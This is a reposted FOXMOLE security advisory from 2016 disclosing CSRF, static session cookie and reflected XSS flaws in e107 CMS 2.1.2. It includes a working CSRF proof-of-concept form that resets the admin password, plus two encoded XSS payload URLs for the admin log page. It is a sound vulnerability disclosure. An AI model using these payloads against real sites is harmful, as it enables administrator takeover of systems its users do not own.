Bugtraq: [FOXMOLE SA 2016-05-02] e107 Content Management System (CMS) – Multiple Issues

—–BEGIN PGP SIGNED MESSAGE—–

Hash: SHA256

=== FOXMOLE – Security Advisory 2016-05-02 ===

e107 Content Management System (CMS) – Multiple Issues

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions

=================

e107 2.1.2 Bootstrap CMS

Issue Overview

==============

Vulnerability Type: Multiple Vulnerabilities

Technical Risk: medium

Likelihood of Exploitation: medium

Vendor: e107

Vendor URL: http://www.e107.org

Credits: FOXMOLE employee Tim Herres

Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-05-02.txt

Advisory Status: Public

CVE-Number: NA

OVE-ID:OVE-20160817-0002

OVI-ID: OVI-2016-8145

CWE-ID: CWE-80

CVSS 2.0: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Impact

======

During internal research, multiple vulnerabilities in the e107 CMS were identified.

The identified CSRF vulnerability can be used by an attacker to gain administrative access to the system by tricking

an administrative user to activate a special crafted web form.

Furthermore the application uses a static session cookie. The cookie grants the attacker full access to the system.

Issue Description

=================

The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar

vulnerabilities.

1) No Protection against Cross Site Request Forgery (CSRF) Attacks

A possible CSRF attack form, which changes the user settings from an user in this case admin (uid=1), if the

corresponding user activates it.

POC:

<html>

<body>

<form action=”http://IP/usersettings.php” method=”POST” enctype=”multipart/form-data”>

<input type=”hidden” name=”loginname” value=”admin” />

<input type=”hidden” name=”email” value=”admin (at) something (dot) de [email concealed]” />

<input type=”hidden” name=”realname” value=”Max” />

<input type=”hidden” name=”password1″ value=”Test123456″ />

<input type=”hidden” name=”password2″ value=”Test123456″ />

<input type=”hidden” name=”hideemail” value=”0″ />

<input type=”hidden” name=”image” value=”

” />

<input type=”hidden” name=”class[]” value=”+1″ />

<input type=”hidden” name=”signature” value=”[html]<p></p>[/html]” />

<input type=”hidden” name=”updatesettings” value=”Save settings” />

<input type=”hidden” name=”_uid” value=”1″ />

<input type=”submit” value=”Submit request” />

</form>

</body>

</html>

2) Static Session Cookie

After a successful login the received Cookie issued by the application server “SITENAME_Cookie=” is ever the same.

This means if an attacker gets access to the cookie he is able to use it like the related password.

3) Reflected XSS

Multiple Reflected XSS in the backend. Examples:

http://host/e107_admin/admin_log.php?searchquery=&filter_options=dblog_t

ype__0&etrigger_filter=asd&from=0&mu7a3%2522%253e%253cscript%253ealert%2

5285%2529%253c%252fscript%253eejc48=1

http://host/e107_admin/admin_log.php?from=10&y3r2a%2522%253e%253cscript%

253ealert%25281%2529%253c%252fscript%253emwxva=1

The whole application should be reviewed for further vulnerabilities.

Temporary Workaround and Fix

============================

FOXMOLE advises to disable the application until the vendor publishes a complete fix.

History

=======

2016-05-02 Issue discovered

2016-08-19 Vendor contacted

2016-08-20 Vendor response: vulnerabilities will be fixed in the next release

2016-11-30 Advisory released

GPG Signature

=============

This advisory is signed with the GPG key of the FOXMOLE advisories team.

The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc

—–BEGIN PGP SIGNATURE—–

iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAlg/AsAACgkQOBIJIZnj

J3yD6hAAmwN+phmRFQmd9rbkuXqQeEAcPSxXEWEejpIm89jMXX4k6wu8qFzXL1ys

wuvLG+FnYaOp8pxZ0ZcVDocuuYBE+iRaMPugUxLCz4dxv9vUOVH0esAwJ/roB0U/

g/bt7KcI0bnwaPSHZTnEGRtBwHPwu6OLavvxHMtiAtLg6uc9Acs7CSDO7iKTl3K0

TMLWtPCV23knlLTmuAwXsSzONI7dexunHqLjcX5nZmfP4d3li7qYylc2EhFSWzx8

ITFKJS0TMvDl6L0Q5/4pCivz4FCl4G3EeWn3lNRjLnS2mfbdctza+tE/uqk0eW7o

4aFVgLOSu96gjgZUGEaphRjrZ5V4jXsMKsgf/C8N7xL3UzQTBMfSY+fFVXst9zNX

zspHauH6qy99H+mDOYjuQneuSgK4dOmGS+xwp5NVKBNSgHq/uWt5VFW042ygrz9S

sm40sm035rjkDPd3ZBvU8v1/xHZ/QKHXNgzDI8K2zdqQ3n9UqFuhuHGTjOfMUSof

0N+vWo11CkPtkHgOjYmXKTqXFYtdNHii8aDcvXGjoZuQT1XT70LwoCVgkfoPInYK

q8sssBpjXp6BbFovwAEyk8G4EyTWc0bCNhvBI2M7zTtRRSP0BrZUH4wHWqsI8wf5

xblT2C5S7L3ireVOj7GDGj2Edmh7Murv1EGRmUJ8F7rI/bO05Kw=

=EC4u

—–END PGP SIGNATURE—–

[ reply ]

Source: SecurityFocus Vulnerabilities @ November 30, 2016 at 11:08AM

0
Share